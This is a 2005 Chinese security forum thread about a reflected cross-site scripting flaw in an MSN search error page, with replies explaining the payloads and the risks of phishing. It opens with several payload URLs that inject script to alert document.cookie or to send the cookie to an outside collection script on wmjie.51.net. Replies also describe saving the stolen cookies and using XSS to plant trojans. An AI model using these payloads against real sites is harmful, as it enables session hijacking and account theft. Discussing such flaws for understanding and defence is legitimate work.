议题提交：Swords [E.S.T]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

http://auto.search.msn.com/error_2.asp?name=<script>alert(document.cookie)</script>

http://auto.search.msn.com/error ... ript>window.open("http://wmjie.51.net/swords/cookie.php?"%2Bdocument.cookie)</script>

http://auto.search.msn.com/error ... ;document.location="http://wmjie.51.net/swords/cookie.php?"%2Bdocument.cookie</script>

http://auto.search.msn.com/error ... ript>window.open("http://wmjie.51.net/swords/cookie.php?"%2Bdocument.cookie)</script>

如果你是想知道这个意思.哪么应该是...在访问http://auto.search.msn.com/error_2.asp?name=时打开窗口.而窗口里的内容就是执行一下p://wmjie.51.net/swords/cookie.php这个脚本..并打印出cookice..基本上是这个样子.如果我说错了.请高手指点.

跨站脚本。获取cookies的。。

name值直接输出到网页中,导致跨站形成

第一个:执行Alert,跳出本地Cookie内容的对话框
第二个:弹出窗口,连接页面是http://wmjie.51.net/swords/cookie.php?"%2Bdocument.cookie
组合后则为
http://wmjie.51.net/swords/cookie.php?"+document.cookie
第三个:当页跳转到指定页面

而Cookie.php的内容类似于保存Cookie到一个文件中..

你们说的我都知道，我的意思是说这就是所谓的跨站脚本攻击？？
那msn不惨了？

msn很早以前就有跨站漏洞了，，，

引用:

下面是引用swords于2005-08-19 16:29发表的:
你们说的我都知道，我的意思是说这就是所谓的跨站脚本攻击？？
那msn不惨了？

这样子模式的跨站~在很多的程序都存在,并不是要注意这个漏洞所针对MSN的危害!
这方面的漏洞应该注意它所带来针对用户的危害!这样子的漏洞在网络钓鱼之中使用是最好的!
因为可以避免URL欺骗被发现!这个很好的构造自己的钓鱼

CSP其实是一门很好的技术...其实Cookie这些不是最重要的。XSS的漏洞应用的范围是很广的

我想问 ~  这个该如何在程序上避免？

过滤HTML标记就可以解决问题

恩。正象大家说的,是对别的用户造成的隐患,对MSN没什么危害.

楼上说的,并不正确.....XSS漏洞的应用范围很广,对于别的用户会造成危害,当然换一个方式也可以对服务器进行危害

用跨站来挂马应该也可以的！

这样 几率不太高的    ...
```xss很浪费时间！

博客网站很多都有这样的漏洞

现在不用获取COOKIE的方法了，好象有别的更好的方法了，这个只是最原始的，希望看到更多关于跨站的应用文章

跨站呢 以前2002年的时候可是宝贵的不得了的漏洞 动网那时候的跨站 还被某些牛人藏着掖着

后来啊 随着时代的发展 人民技术水平D提高 跨站逐渐变成了大众漏洞了

胡扯一番